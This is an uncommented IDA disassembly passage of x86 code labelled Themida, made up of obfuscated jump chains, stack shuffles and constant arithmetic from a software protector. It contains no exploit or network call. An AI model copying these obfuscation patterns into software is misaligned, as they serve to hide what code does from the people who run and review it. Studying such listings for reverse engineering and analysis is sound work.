loc_56FEDB: ; CODE XREF: Themida_:00569603j
mov ebp, 113A3287h
jmp loc_5629AC
; ---------------------------------------------------------------------------
loc_56FEE5: ; CODE XREF: Themida_:005637F5j
pop edx
push esi
mov esi, esp
jmp loc_568A08
; ---------------------------------------------------------------------------
loc_56FEEE: ; CODE XREF: Themida_:00562701j
add ecx, esi
pop esi
xchg ecx, [esp]
mov esp, [esp]
add ebp, 4
push 271Ch
mov [esp], ecx
push edi
jmp loc_5682D6
; ---------------------------------------------------------------------------
loc_56FF0B: ; CODE XREF: Themida_:0056E58Fj
sub esp, 4
mov [esp], ecx
jmp loc_56FB21
; ---------------------------------------------------------------------------
loc_56FF19: ; CODE XREF: Themida_:005615AEj
mov [esp], edx
push 36DEh
mov [esp], ecx
push edx
jmp loc_55FB1D
; ---------------------------------------------------------------------------
loc_56FF2A: ; CODE XREF: Themida_:00571F82j
xor eax, ebp
xor ebp, eax
xor eax, ebp
sub esp, 4
jmp loc_571BD6
; ---------------------------------------------------------------------------
loc_56FF3B: ; CODE XREF: Themida_:0056D131j
add edx, 61476D76h
shr edx, 4
sub edx, 86ECFF5Dh
xor edx, eax
pop eax
shr edx, 8
jmp loc_56BEE3
; ---------------------------------------------------------------------------
loc_56FF55: ; CODE XREF: Themida_:00569CB7j
mov edx, 88E78E7h
jmp loc_56474F
; ---------------------------------------------------------------------------
loc_56FF5F: ; CODE XREF: Themida_:0056D1A0j
mov ecx, esp
sub esp, 4
mov [esp], ebx
mov ebx, 4
add ecx, ebx
mov ebx, [esp]
add esp, 4
push edx
jmp loc_56B1E8
; ---------------------------------------------------------------------------
loc_56FF7D: ; CODE XREF: Themida_:0055E101j
mov ebx, 1C652117h
jmp loc_571034
; ---------------------------------------------------------------------------
loc_56FF87: ; CODE XREF: Themida_:0056EDAAj
mov ebx, esp
jmp loc_56449F
; ---------------------------------------------------------------------------
loc_56FF8E: ; CODE XREF: Themida_:0056D811j
sub ebx, 100E4ED5h
jmp loc_568083
; ---------------------------------------------------------------------------
loc_56FF99: ; CODE XREF: Themida_:0056068Ej
push eax
jmp loc_56BEA5
; ---------------------------------------------------------------------------
loc_56FF9F: ; CODE XREF: Themida_:0056955Dj
push ebx
mov ebx, 2AA14DEAh
sub ebx, 8D4C2590h
xor esi, ebx
jmp loc_561ECF
; ---------------------------------------------------------------------------
loc_56FFB2: ; CODE XREF: Themida_:0056E89Fj
pop ecx
jmp loc_571C43
; ---------------------------------------------------------------------------
loc_56FFB8: ; CODE XREF: Themida_:00560D48j
pop ebx
add [esp+4], edi
pop edi
mov ebx, [esp]
jmp loc_56B865
; ---------------------------------------------------------------------------
loc_56FFC6: ; CODE XREF: Themida_:0056FA52j
pop dword ptr [esp]
jmp loc_5610F7
; ---------------------------------------------------------------------------
loc_56FFCE: ; CODE XREF: Themida_:00571196j
inc ebx
jmp loc_56C163
; ---------------------------------------------------------------------------
loc_56FFD4: ; CODE XREF: Themida_:0056A3D6j
pop ecx
sub esi, edx
pop edx
xor eax, esi
mov esi, [esp]
add esp, 4
push 5F58h
mov [esp], edi
push 23C3h
mov [esp], ebp
mov ebp, 16310EA1h
push 6ABBh
mov [esp], ebp
jmp loc_56DD56
; ---------------------------------------------------------------------------
loc_570005: ; CODE XREF: Themida_:0056DBB5j
sub eax, 5A023494h
add eax, ebp
add eax, 5A023494h
add eax, 90160FFh
jmp loc_55E6CC
; ---------------------------------------------------------------------------
loc_57001B: ; CODE XREF: Themida_:0056C25Bj
add esi, 4
xchg esi, [esp]
pop esp
jmp loc_5724D9
; ---------------------------------------------------------------------------
loc_570027: ; CODE XREF: Themida_:00563045j
not dword ptr [esp]
pop ecx
xor ecx, 0F26DBAC2h
add esi, 734C2D52h
add esi, ecx
jmp loc_561EC3
; ---------------------------------------------------------------------------
loc_57003E: ; CODE XREF: Themida_:0056F1D2j
push eax
push ebx
mov ebx, 6F284F20h
push eax
jmp loc_571AFE
; ---------------------------------------------------------------------------
loc_57004B: ; CODE XREF: Themida_:0055EE27j
not bl
or bl, 76h
neg bl
inc bl
push 3510h
mov [esp], ecx
mov cl, 0D2h
and cl, 49h
inc cl
xchg dl, cl
not dl
xchg dl, cl
xor cl, 0EBh
xor bl, cl
pop ecx
jmp loc_570E76
; ---------------------------------------------------------------------------
loc_570074: ; CODE XREF: Themida_:0056A8C5j
mov ecx, 46436108h
push eax
mov eax, esp
jmp loc_564445
; ---------------------------------------------------------------------------
loc_570081: ; CODE XREF: Themida_:00562C16j
mov [esp], ebp
mov ebp, 4
jmp loc_5655AF
; ---------------------------------------------------------------------------
loc_57008E: ; CODE XREF: Themida_:0055F666j
push edx
jmp loc_56F219
; ---------------------------------------------------------------------------
loc_570094: ; CODE XREF: Themida_:005662BCj
add edi, 24EEDE1Eh
xor ecx, edi
pop edi
push esi
push ecx
push 7FC302Dh
pop ecx
add ecx, 51483BC3h
add ecx, 0EC37A216h
mov esi, ecx
mov ecx, [esp]
add esp, 4
jmp loc_55F39C
; ---------------------------------------------------------------------------
mov cx, [esp]
jmp loc_568925
; ---------------------------------------------------------------------------
loc_5700CA: ; CODE XREF: Themida_:00562CDBj
test cx, ax
pushf
jmp loc_566CC7
; ---------------------------------------------------------------------------
loc_5700D3: ; CODE XREF: Themida_:00564205j
add edi, 163F487Bh
jmp loc_567E80
; ---------------------------------------------------------------------------
loc_5700DE: ; CODE XREF: Themida_:0057180Aj
push ecx
mov ecx, 33814D6Bh
jmp loc_56D2CE
; ---------------------------------------------------------------------------
loc_5700E9: ; CODE XREF: Themida_:0056BFDCj
push dword ptr [esp]
pop ebx
add esp, 4
jmp loc_55F5A6
; ---------------------------------------------------------------------------
loc_5700F5: ; CODE XREF: Themida_:0055D524j
mov ah, dh
jmp loc_561134
; ---------------------------------------------------------------------------
loc_5700FC: ; CODE XREF: Themida_:00569141j
push esi
jmp loc_561CA0
; ---------------------------------------------------------------------------
loc_570102: ; CODE XREF: Themida_:0056112Fj
pop ecx
pop edi
push dword ptr [esp]
jmp loc_569B9A
; ---------------------------------------------------------------------------
push 1354h
mov [esp], esi
push ebx
push eax
push ecx
mov ecx, 7C9628Ch
push ecx
add dword ptr [esp], 169A7147h
pop eax
jmp loc_560EFA
; ---------------------------------------------------------------------------
loc_57012A: ; CODE XREF: Themida_:0055EE11j
sub edx, 4
xchg edx, [esp]
mov esp, [esp]
jmp loc_56258B
; ---------------------------------------------------------------------------
loc_570138: ; CODE XREF: Themida_:0055FFD8j
xor ecx, 4D933E7Bh
xor ecx, 0E2E126B3h
add ebx, ecx
pop ecx
jmp loc_566BCC
; ---------------------------------------------------------------------------
push 0AF1h
mov [esp], esp
add dword ptr [esp], 4
jmp loc_56B61F
; ---------------------------------------------------------------------------
loc_570160: ; CODE XREF: Themida_:00561CB6j
xor edx, esi
pop esi
push 620Bh
mov [esp], edx
jmp loc_563A16
; ---------------------------------------------------------------------------
loc_570170: ; CODE XREF: Themida_:00567C94j
mov ebx, edi
pop edi
sub esi, 7E5B3A13h
sub esi, 6CF0354h
sub esi, 2A250227h
sub esi, ebx
add esi, 2A250227h
add esi, 6CF0354h
push edi
push 34AD3DCEh
pop edi
not edi
and edi, 2FF85D88h
push ebp
mov ebp, 57B47557h
sub ebp, 58B75F77h
and ebp, 14D32B58h
dec ebp
neg ebp
add ebp, 668F4B37h
add ebp, 214CB01Bh
add edi, ebp
jmp loc_56E81E
; ---------------------------------------------------------------------------
loc_5701CA: ; CODE XREF: Themida_:00570502j
pop eax
jmp loc_56EA10
; ---------------------------------------------------------------------------
loc_5701D0: ; CODE XREF: Themida_:00560BE7j
sub ebp, 4923666Ch
mov edi, [esp]
jmp loc_571A28
; ---------------------------------------------------------------------------
loc_5701DE: ; CODE XREF: Themida_:0055E79Cj
xor esi, 58EB554Bh
mov edx, esi
jmp loc_5718CC
; ---------------------------------------------------------------------------
loc_5701EB: ; CODE XREF: Themida_:00564531j
sub esp, 4
mov [esp], edx
jmp loc_5660A3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59DB3D
loc_5701F9: ; CODE XREF: sub_59DB3D-2C280j
and dh, 8Dh
xor dh, 0B3h
add dh, 1
xor dh, 57h
add bh, dh
pop edx
xor bh, 0FDh
add al, bh
pop ebx
push 251Dh
mov [esp+2Ch+var_2C], ebx
mov bl, 6Ch
sub al, bl
push [esp+2Ch+var_2C]
pop ebx
add esp, 4
push bx
push 443h
mov [esp+0], ecx
jmp loc_5705C6
; END OF FUNCTION CHUNK FOR sub_59DB3D
; ---------------------------------------------------------------------------
loc_570233: ; CODE XREF: Themida_:0056CABCj
inc esi
or esi, 48962B9Ah
shl esi, 6
sub esi, 0D519968Fh
sub eax, esi
jmp loc_561B42
; ---------------------------------------------------------------------------
loc_57024A: ; CODE XREF: Themida_:0056DD51j
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
jmp loc_5634D0
; ---------------------------------------------------------------------------
loc_57025C: ; CODE XREF: Themida_:0056ABC0j
sub bh, 0B6h
mov cl, bh
pop ebx
add bl, cl
pop cx
add al, bl
push dword ptr [esp]
jmp loc_5609C3
; ---------------------------------------------------------------------------
loc_570270: ; CODE XREF: Themida_:0056B642j
push 38A8h
mov [esp], ecx
xor dword ptr [esp], 47686B9Ch
pop eax
xor eax, 47686B9Ch
jmp loc_56C1A0
; ---------------------------------------------------------------------------
loc_57028A: ; CODE XREF: Themida_:00565132j
add esp, 4
push ebp
push esp
jmp loc_56FAC8
; ---------------------------------------------------------------------------
loc_570297: ; CODE XREF: Themida_:0055E1DEj
pop esi
xchg ecx, [esp]
pop esp
and eax, esi
jmp loc_571DC9
; ---------------------------------------------------------------------------
loc_5702A3: ; CODE XREF: Themida_:00572B13j
mov edx, [esp]
add esp, 4
push small word ptr [eax]
jmp loc_55D2ED
; ---------------------------------------------------------------------------
loc_5702B1: ; CODE XREF: Themida_:005628F7j
mov eax, 7E3D0386h
dec eax
jmp loc_563A88
; ---------------------------------------------------------------------------
loc_5702BC: ; CODE XREF: Themida_:0056419Dj
mov [esp], ecx
push esi
push 24EC2F89h
jmp loc_560294
; ---------------------------------------------------------------------------
loc_5702CA: ; CODE XREF: Themida_:0056374Fj
mov esp, [esp]
jmp loc_572B2F
; ---------------------------------------------------------------------------
loc_5702D2: ; CODE XREF: Themida_:0055ECA5j
mov [esp], cx
push small 438Bh
mov [esp], bp
mov cx, [esp]
sub esp, 4
mov [esp], ecx
mov ecx, esp
add ecx, 4
add ecx, 2
jmp loc_55F166
; ---------------------------------------------------------------------------
loc_5702FB: ; CODE XREF: Themida_:005637C5j
pop esp
push ebp
push esp
pop ebp
add ebp, 4
push eax
jmp loc_569D64
; ---------------------------------------------------------------------------
loc_57030B: ; CODE XREF: Themida_:00561B88j
add esp, 4
sub eax, 2D1470AFh
pop esi
xor eax, edi
jmp loc_562873
; ---------------------------------------------------------------------------
loc_57031E: ; CODE XREF: Themida_:0055FFFAj
add ebp, 61A252CAh
add ebp, edi
sub ebp, 61A252CAh
jmp loc_56F3BE
; ---------------------------------------------------------------------------
loc_570331: ; CODE XREF: Themida_:0056D2C9j
pop ecx
add ecx, ebp
mov ebp, [esp]
jmp loc_568F88
; ---------------------------------------------------------------------------
loc_57033C: ; CODE XREF: Themida_:00561294j
add ebx, esi
add ebx, 493E27C6h
add ebx, 704A07A5h
push dword ptr [esp]
jmp loc_560E58
; ---------------------------------------------------------------------------
loc_570352: ; CODE XREF: Themida_:00569D6Aj
push edi
not dword ptr [esp]
pop edi
push ebx
mov ebx, 69862EE7h
shl ebx, 5
shl ebx, 6
dec ebx
sub ebx, 97AF54CEh
sub edi, ebx
jmp loc_56CF7A
; ---------------------------------------------------------------------------
loc_570371: ; CODE XREF: Themida_:0056C61Aj
mov [esp], edi
push esp
mov edi, [esp]
jmp loc_570660
; ---------------------------------------------------------------------------
loc_57037D: ; CODE XREF: Themida_:0056D391j
mov edx, [esp]
add esp, 4
pop esi
push 6675h
mov [esp], ecx
mov ecx, 3C91D4Dh
xor eax, ecx
push dword ptr [esp]
push dword ptr [esp]
pop ecx
add esp, 4
push esi
mov esi, esp
add esi, 4
jmp loc_55EF5E
; ---------------------------------------------------------------------------
loc_5703B1: ; CODE XREF: Themida_:0056B1F6j
push esi
mov esi, 0CBFEAEF4h
mov eax, esi
mov esi, [esp]
jmp loc_561987
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_562A0A
loc_5703C1: ; CODE XREF: sub_562A0A-272Ej
add ebp, 4
add ebp, 2
xor ebp, [esp+8+var_8]
jmp loc_564B3E
; END OF FUNCTION CHUNK FOR sub_562A0A
; ---------------------------------------------------------------------------
loc_5703D2: ; CODE XREF: Themida_:0056C6BCj
add esp, 4
jmp loc_562342
; ---------------------------------------------------------------------------
loc_5703DA: ; CODE XREF: Themida_:00561D3Ej
push ax
sub esp, 2
mov [esp], bx
push small 57BFh
mov bx, [esp]
add esp, 2
jmp loc_567242
; ---------------------------------------------------------------------------
loc_5703F9: ; CODE XREF: Themida_:005608F9j
mov ecx, 9EB367Bh
sub eax, ecx
jmp loc_568CE9
; ---------------------------------------------------------------------------
loc_570405: ; CODE XREF: Themida_:00561691j
sub al, bh
jmp loc_56F2AA
; ---------------------------------------------------------------------------
loc_57040C: ; CODE XREF: Themida_:00566E03j
sub esp, 4
mov [esp], ebx
push eax
jmp loc_5624CD
; ---------------------------------------------------------------------------
loc_57041B: ; CODE XREF: Themida_:00561186j
pop ebp
add ebp, 32FC02C1h
jmp loc_563DEC
; ---------------------------------------------------------------------------
loc_570427: ; CODE XREF: Themida_:0056C73Bj
pop esi
add esp, 4
jmp loc_55DA64
; ---------------------------------------------------------------------------
loc_570430: ; CODE XREF: Themida_:00568410j
mov ecx, [esp]
add esp, 4
jmp loc_56DF35
; ---------------------------------------------------------------------------
loc_57043B: ; CODE XREF: Themida_:005697A7j
xor edi, 7F5B7D71h
jmp loc_56096A
; ---------------------------------------------------------------------------
loc_570446: ; CODE XREF: Themida_:0056F586j
push edi
push ebx
mov ebx, 61AE3D26h
mov edi, 0A49AB988h
sub edi, ebx
jmp loc_56B07E
; ---------------------------------------------------------------------------
loc_570459: ; CODE XREF: Themida_:005724F2j
dec edx
add edx, 5A7239E6h
add ebp, edx
pop edx
jmp loc_5727E2
; ---------------------------------------------------------------------------
loc_570468: ; CODE XREF: Themida_:00560CBFj
mov edi, 445362B1h
sub ebp, edi
pop edi
add ebp, eax
add ebp, 445362B1h
mov eax, [esp]
add esp, 4
push esi
mov esi, ebp
jmp loc_568100
; ---------------------------------------------------------------------------
loc_570486: ; CODE XREF: Themida_:005670CDj
shr ebp, 8
jmp loc_57145C
; ---------------------------------------------------------------------------
loc_57048E: ; CODE XREF: Themida_:005686F4j
pop eax
push ebp
push dword ptr [esp+4]
pop ebp
pop dword ptr [esp]
pop esp
jmp loc_56DD3F
; ---------------------------------------------------------------------------
loc_57049E: ; CODE XREF: Themida_:00560035j
mov ecx, 65394BFAh
add ecx, eax
mov eax, [esp]
add esp, 4
jmp loc_55E410
; ---------------------------------------------------------------------------
loc_5704B3: ; CODE XREF: Themida_:0055D9DEj
add edx, eax
push edi
push 146E1FEAh
pop edi
push ebx
mov ebx, 97E1C72h
add edx, ebx
pop ebx
sub edx, edi
sub edx, 97E1C72h
jmp loc_56DF68
; ---------------------------------------------------------------------------
loc_5704D2: ; CODE XREF: Themida_:005693E7j
pop esi
push edi
mov edi, esp
add edi, 4
sub edi, 4
xchg edi, [esp]
pop esp
mov [esp], edi
push esp
pop edi
add edi, 4
sub esp, 4
mov [esp], eax
push 4
pop eax
add edi, eax
jmp loc_5701CA
; ---------------------------------------------------------------------------
loc_570507: ; CODE XREF: Themida_:00566FFFj
mov [esp], ebx
push esp
jmp loc_55EF1E
; ---------------------------------------------------------------------------
loc_570510: ; CODE XREF: Themida_:005715FBj
add dword ptr [esp], 4
jmp loc_56D61A
; ---------------------------------------------------------------------------
loc_57051C: ; CODE XREF: Themida_:00561EBEj
push ebx
mov ebx, esp
jmp loc_5672D4
; ---------------------------------------------------------------------------
loc_570524: ; CODE XREF: Themida_:00572A94j
mov ecx, 4
add [esp+4], ecx
jmp loc_561E8E
; ---------------------------------------------------------------------------
loc_570532: ; CODE XREF: Themida_:0056C8B3j
pop ecx
sub eax, 1A082E91h
add eax, edi
push ebp
mov ebp, 1A082E91h
add eax, 5B3A0602h
add eax, ebp
jmp loc_563935
; ---------------------------------------------------------------------------
loc_57054C: ; CODE XREF: Themida_:00571FE1j
inc edx
push esi
mov esi, 6971072Fh
sub esi, 276AF7Ah
add edx, esi
pop esi
xor edx, 67EFD667h
jmp loc_55DF56
; ---------------------------------------------------------------------------
loc_570567: ; CODE XREF: Themida_:005651C0j
pop esp
jmp loc_5636B8
; ---------------------------------------------------------------------------
loc_57056D: ; CODE XREF: Themida_:00561D44j
add ecx, edx
pop edx
add ecx, edx
sub ecx, 3A115D8Bh
pop edx
push edi
mov edi, 4
add ecx, edi
jmp loc_55EFA5
; ---------------------------------------------------------------------------
loc_570586: ; CODE XREF: Themida_:0055F8AAj
not ebx
shr ebx, 4
add ebx, 4CD44157h
sub ebx, 5B6B7FD0h
push edx
mov edx, 86A1427h
add ecx, edx
pop edx
add ecx, ebx
push edx
jmp loc_56AA54
; ---------------------------------------------------------------------------
loc_5705A8: ; CODE XREF: Themida_:005641F5j
add ecx, 0FF5F78E0h
add edx, ecx
mov ecx, [esp]
add esp, 4
push esi
push edi
push edx
mov edx, 236E6FBAh
jmp loc_56F65E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59DB3D
loc_5705C6: ; CODE XREF: sub_59DB3D-2D90Fj
push eax
mov ah, 80h
push dx
mov dh, ah
not dh
mov ah, dh
pop dx
jmp loc_570CF1
; END OF FUNCTION CHUNK FOR sub_59DB3D
; ---------------------------------------------------------------------------
loc_5705D8: ; CODE XREF: Themida_:00572694j
add al, dh
sub al, 1Fh
pop dx
xor bl, al
jmp loc_562F2E
; ---------------------------------------------------------------------------
push dword ptr [esp+4]
push dword ptr [esp]
mov eax, [esp]
add esp, 4
jmp loc_56DD49
; ---------------------------------------------------------------------------
loc_5705F7: ; CODE XREF: Themida_:0056F833j
add ebx, ebp
push edx
push esp
pop edx
add edx, 4
jmp loc_56005B
; ---------------------------------------------------------------------------
loc_570607: ; CODE XREF: Themida_:00571A7Aj
push esp
pop edx
push ecx
mov ecx, 4
add edx, ecx
pop ecx
sub edx, 4
xchg edx, [esp]
mov esp, [esp]
mov [esp], edi
push ecx
push 3CA9698Eh
pop ecx
mov edi, ecx
pop ecx
sub [esp+4], edi
mov edi, [esp]
push eax
push esp
jmp loc_5688E4
; ---------------------------------------------------------------------------
loc_570636: ; CODE XREF: Themida_:0056CB36j
jmp loc_55D2ED
; ---------------------------------------------------------------------------
loc_57063B: ; CODE XREF: Themida_:005660C6j
mov esp, [esp]
mov [esp], ebx
mov ebx, 0E790BBAh
add ebx, 0F186F446h
jmp loc_5622B2
; ---------------------------------------------------------------------------
loc_570651: ; CODE XREF: Themida_:0056EBB0j
inc dl
add dl, 1
xor dl, 42h
sub al, dl
jmp loc_56ABEA
; ---------------------------------------------------------------------------
loc_570660: ; CODE XREF: Themida_:00570378j
add esp, 4
push esi
jmp loc_56B7C3
; ---------------------------------------------------------------------------
loc_57066C: ; CODE XREF: Themida_:0056795Ej
mov ecx, [esp]
add esp, 4
xchg ebx, [esp]
mov esp, [esp]
jmp loc_55D2ED
; ---------------------------------------------------------------------------
loc_570680: ; CODE XREF: Themida_:005618B1j
add edx, ebp
pop ebp
xor eax, edx
mov edx, [esp]
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
push ebx
push dword ptr [esp+4]
pop ebx
pop dword ptr [esp]
mov esp, [esp]
add ecx, eax
mov eax, [esp]
jmp loc_56BD6B
; ---------------------------------------------------------------------------
loc_5706AD: ; CODE XREF: Themida_:0056F51Cj
pop ecx
mov esi, [esp]
jmp loc_56DF53
; ---------------------------------------------------------------------------
loc_5706B6: ; CODE XREF: Themida_:0056972Ej
mov edx, 246B6418h
sub edi, edx
pop edx
dec edi
not edi
add edi, 1592FB92h
jmp loc_5621FA
; ---------------------------------------------------------------------------
loc_5706CC: ; CODE XREF: Themida_:0056DA0Ej
mov [esp], esi
jmp loc_570F28
; ---------------------------------------------------------------------------
loc_5706D4: ; CODE XREF: Themida_:00568DBFj
pop esp
jmp loc_565E68
; ---------------------------------------------------------------------------
loc_5706DA: ; CODE XREF: Themida_:0056C76Ej
push ebp
jmp loc_56F32E
; ---------------------------------------------------------------------------
loc_5706E0: ; CODE XREF: Themida_:0056DAD9j
xor [esp], eax
xor eax, [esp]
pop esp
mov [esp], edi
mov edi, 48872793h
jmp loc_570F4F
; ---------------------------------------------------------------------------
loc_5706F4: ; CODE XREF: Themida_:00565F81j
xor ebx, [esp]
jmp loc_571A6F
; ---------------------------------------------------------------------------
loc_5706FC: ; CODE XREF: Themida_:005611F6j
mov esi, [esp]
add esp, 4
push 62FDh
mov [esp], ebp
mov ebp, 4
add eax, ebp
push dword ptr [esp]
pop ebp
add esp, 4
push 1B84h
mov [esp], eax
push dword ptr [esp+4]
mov eax, [esp]
push 0BDAh
mov [esp], edi
mov edi, esp
add edi, 4
add edi, 4
xchg edi, [esp]
pop esp
jmp loc_56DA13
; ---------------------------------------------------------------------------
loc_570746: ; CODE XREF: Themida_:005677BCj
push edi
sub esp, 4
push esp
pop dword ptr [esp]
push ecx
mov ecx, 4
add [esp+4], ecx
mov ecx, [esp]
add esp, 4
pop edi
push ebp
mov ebp, 4
jmp loc_56C99A
; ---------------------------------------------------------------------------
loc_57076D: ; CODE XREF: Themida_:0056B37Cj
mov ecx, [esp]
add esp, 4
xor ecx, 19EE373Dh
xor ecx, 38D2020h
mov edi, ecx
mov ecx, [esp]
add esp, 4
jmp loc_562EE6
; ---------------------------------------------------------------------------
loc_57078C: ; CODE XREF: Themida_:0056A401j
pop eax
mov [edi+eax*4], bl
push dword ptr [esp]
jmp loc_55FF65
; ---------------------------------------------------------------------------
loc_570798: ; CODE XREF: Themida_:00560A43j
pop ecx
add ebp, ecx
push edi
mov edi, 7A5878E9h
sub ebp, 1E640869h
sub ebp, edi
add ebp, 1E640869h
jmp loc_569EE1
; ---------------------------------------------------------------------------
loc_5707B4: ; CODE XREF: Themida_:005660DBj
mov [esp], edi
mov edi, 2A19773Ah
push ebp
push 265205A1h
mov ebp, [esp]
add esp, 4
and edi, ebp
push dword ptr [esp]
jmp loc_568A96
; ---------------------------------------------------------------------------
loc_5707D2: ; CODE XREF: Themida_:0055FE4Dj
xor edx, ebx
jmp loc_55F1BD
; ---------------------------------------------------------------------------
mov cx, [esp]
sub esp, 4
mov [esp], eax
push esp
jmp loc_56E007
; ---------------------------------------------------------------------------
loc_5707E9: ; CODE XREF: Themida_:0056F532j
shl ebp, 5
jmp loc_5617F2
; ---------------------------------------------------------------------------
loc_5707F1: ; CODE XREF: Themida_:005676B9j
xor dl, ah
pop ax
mov al, dl
pop edx
jmp loc_56097E
; ---------------------------------------------------------------------------
loc_5707FD: ; CODE XREF: Themida_:0055D545j
add edx, 4F5201B6h
pop ecx
push ebx
mov ebx, 3219761Dh
or ebx, 586F2506h
dec ebx
and ebx, 304C7D29h
not ebx
jmp loc_5696D2
; ---------------------------------------------------------------------------
loc_57081E: ; CODE XREF: Themida_:00561266j
push esp
pop ebx
push 4890h
mov [esp], ebp
jmp loc_56FCA5
; ---------------------------------------------------------------------------
loc_57082D: ; CODE XREF: Themida_:005672CFj
pop ebp
shl esi, 6
shl esi, 8
shl esi, 7
jmp loc_567C29
; ---------------------------------------------------------------------------
lodsb
sub esp, 4
mov [esp], ebx
jmp loc_57168E
; ---------------------------------------------------------------------------
loc_570848: ; CODE XREF: Themida_:0056DF6Ej
add eax, 4
add eax, 4
xchg eax, [esp]
pop esp
sub edx, 2483411h
jmp loc_55D2ED
; ---------------------------------------------------------------------------
loc_57085F: ; CODE XREF: Themida_:0056AB63j
jmp loc_55D2ED
; ---------------------------------------------------------------------------
loc_570864: ; CODE XREF: Themida_:0056C905j
mov [esp], eax
mov eax, 4
add edx, eax
jmp loc_55FDAB
; ---------------------------------------------------------------------------
loc_570873: ; CODE XREF: Themida_:00560A74j
add esp, 4
push 6E37h
mov [esp], ebx
sub esp, 4
mov [esp], eax
push 5670h
mov [esp], edx
mov edx, 6BB41B56h
jmp loc_570C79
; ---------------------------------------------------------------------------
loc_57089C: ; CODE XREF: Themida_:0055F9FDj
pop edx
jmp loc_561CBB
; ---------------------------------------------------------------------------
loc_5708A2: ; CODE XREF: Themida_:0056C995j
push edx
mov edx, 1
sub ebp, edx
pop edx
push edi
mov edi, 4DFB2B20h
add ebp, edi
pop edi
or ebp, 66E94F30h
push ebp
not dword ptr [esp]
push dword ptr [esp]
pop ebp
add esp, 4
jmp loc_56C3E2
; ---------------------------------------------------------------------------
loc_5708CA: ; CODE XREF: Themida_:0056329Cj
dec ebp
inc ebp
or ebp, 30917083h
push 0B5Ch
mov [esp], ecx
sub esp, 4
mov [esp], esi
mov esi, 3E377F93h
mov ecx, esi
mov esi, [esp]
add esp, 4
jmp loc_56EB32
; ---------------------------------------------------------------------------
loc_5708F5: ; CODE XREF: Themida_:0056FA35j
or ebx, ebp
pop ebp
sub ebx, 13780B8Fh
jmp loc_57180F
; ---------------------------------------------------------------------------
loc_570903: ; CODE XREF: Themida_:00565602j
sub dword ptr [esp], 7C876898h
pop eax
add eax, 7C876898h
mov edx, [esp]
jmp loc_5650D8
; ---------------------------------------------------------------------------
loc_570918: ; CODE XREF: Themida_:0055FAA5j
mov edx, ebx
pop ebx
jmp loc_568D51
; ---------------------------------------------------------------------------
loc_570920: ; CODE XREF: Themida_:0056A1D2j
add esp, 4
jmp loc_55D2ED
; ---------------------------------------------------------------------------
loc_570928: ; CODE XREF: Themida_:0056C842j
sub ebp, 482A7061h
add ebp, ebx
add ebp, 482A7061h
jmp loc_5678BF
; ---------------------------------------------------------------------------
loc_57093B: ; CODE XREF: Themida_:005672E0j
xchg ebx, [esp]
pop esp
add esp, 4
push edx
mov edx, 4
jmp loc_5625F7
; ---------------------------------------------------------------------------
loc_57094D: ; CODE XREF: Themida_:0055DBDFj
add esp, 4
push 587h
mov [esp], edx
push 4010h
mov [esp], ebx
push eax
add dword ptr [esp], 305B2AF0h
pop ebx
jmp loc_571A3F
; ---------------------------------------------------------------------------
loc_57096E: ; CODE XREF: Themida_:00561FB0j
and esi, 3BA50E0Ch
shr esi, 7
shr esi, 5
push ebx
mov ebx, 1AA14h
xor esi, ebx
pop ebx
add ebx, esi
pop esi
push edx
push ebx
mov ebx, 7626596Fh
jmp loc_56D934
; ---------------------------------------------------------------------------
loc_570992: ; CODE XREF: Themida_:00569BADj
mov [esp], esi
push dword ptr [esp+4]
mov esi, [esp]
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
jmp loc_55FE74
; ---------------------------------------------------------------------------
loc_5709B1: ; CODE XREF: Themida_:005640A4j
pop ebp
jmp loc_56AD3F
; ---------------------------------------------------------------------------
loc_5709B7: ; CODE XREF: Themida_:0056A738j
sub edi, 0EF1E1111h
mov eax, edi
pop edi
neg eax
not eax
jmp loc_561C59
; ---------------------------------------------------------------------------
push 1542h
jmp loc_56DB45
; ---------------------------------------------------------------------------
loc_5709D3: ; CODE XREF: Themida_:00567129j
shl ebx, 7
push ebp
mov ebp, 8221C826h
add ebx, ebp
jmp loc_5697CF
; ---------------------------------------------------------------------------
loc_5709E3: ; CODE XREF: Themida_:0056C200j
mov [esp], ecx
push edx
jmp loc_5685E9
; ---------------------------------------------------------------------------
loc_5709EC: ; CODE XREF: Themida_:0056E268j
mov edx, ebx
jmp loc_569861
; ---------------------------------------------------------------------------
loc_5709F3: ; CODE XREF: Themida_:00572178j
push esi
mov esi, 26254DC6h
sub ebp, esi
jmp loc_55E28C
; ---------------------------------------------------------------------------
loc_570A00: ; CODE XREF: Themida_:0056C0DFj
sub esp, 4
mov [esp], edi
jmp loc_56832B
; ---------------------------------------------------------------------------
loc_570A0B: ; CODE XREF: Themida_:00569290j
mov dh, 59h
mov bh, 2
add bh, dh
pop edx
add bh, 0B9h
sub al, bh
mov ebx, [esp]
add esp, 4
jmp loc_55E426
; ---------------------------------------------------------------------------
loc_570A25: ; CODE XREF: Themida_:0056F234j
xor esi, edi
jmp loc_571ED5
; ---------------------------------------------------------------------------
loc_570A2C: ; CODE XREF: Themida_:00566B4Cj
mov [edi+eax*4+1], bh
mov ebx, [esp]
push ebx
mov ebx, esp
push edx
jmp loc_560FD0
; ---------------------------------------------------------------------------
loc_570A3C: ; CODE XREF: Themida_:0055E2BAj
mov [esp], edi
mov edi, 0DA4AC9DEh
add ebp, edi
pop edi
add esi, ebp
mov ebp, [esp]
add esp, 4
xor esi, [esp]
xor [esp], esi
xor esi, [esp]
mov esp, [esp]
ror dword ptr [esp], cl
pushf
jmp loc_55D2ED
; ---------------------------------------------------------------------------
loc_570A67: ; CODE XREF: Themida_:00563C8Cj
mov edi, 95B014Ch
add edi, 324001B8h
sub edi, 781D65C2h
sub edi, 3ECE72BFh
add edi, 0ADEAE33Fh
add edi, 399303BEh
jmp loc_5606BC
; ---------------------------------------------------------------------------
loc_570A8F: ; CODE XREF: Themida_:0057238Fj
push eax
mov eax, 831022Eh
add edx, eax
pop eax
jmp loc_564AD7
; ---------------------------------------------------------------------------
loc_570A9D: ; CODE XREF: Themida_:00568593j
sub ebp, 4
xchg ebp, [esp]
pop esp
jmp loc_569ADE
; ---------------------------------------------------------------------------
loc_570AA9: ; CODE XREF: Themida_:0056EC27j
push 1B49h
jmp loc_55DB6E
; ---------------------------------------------------------------------------
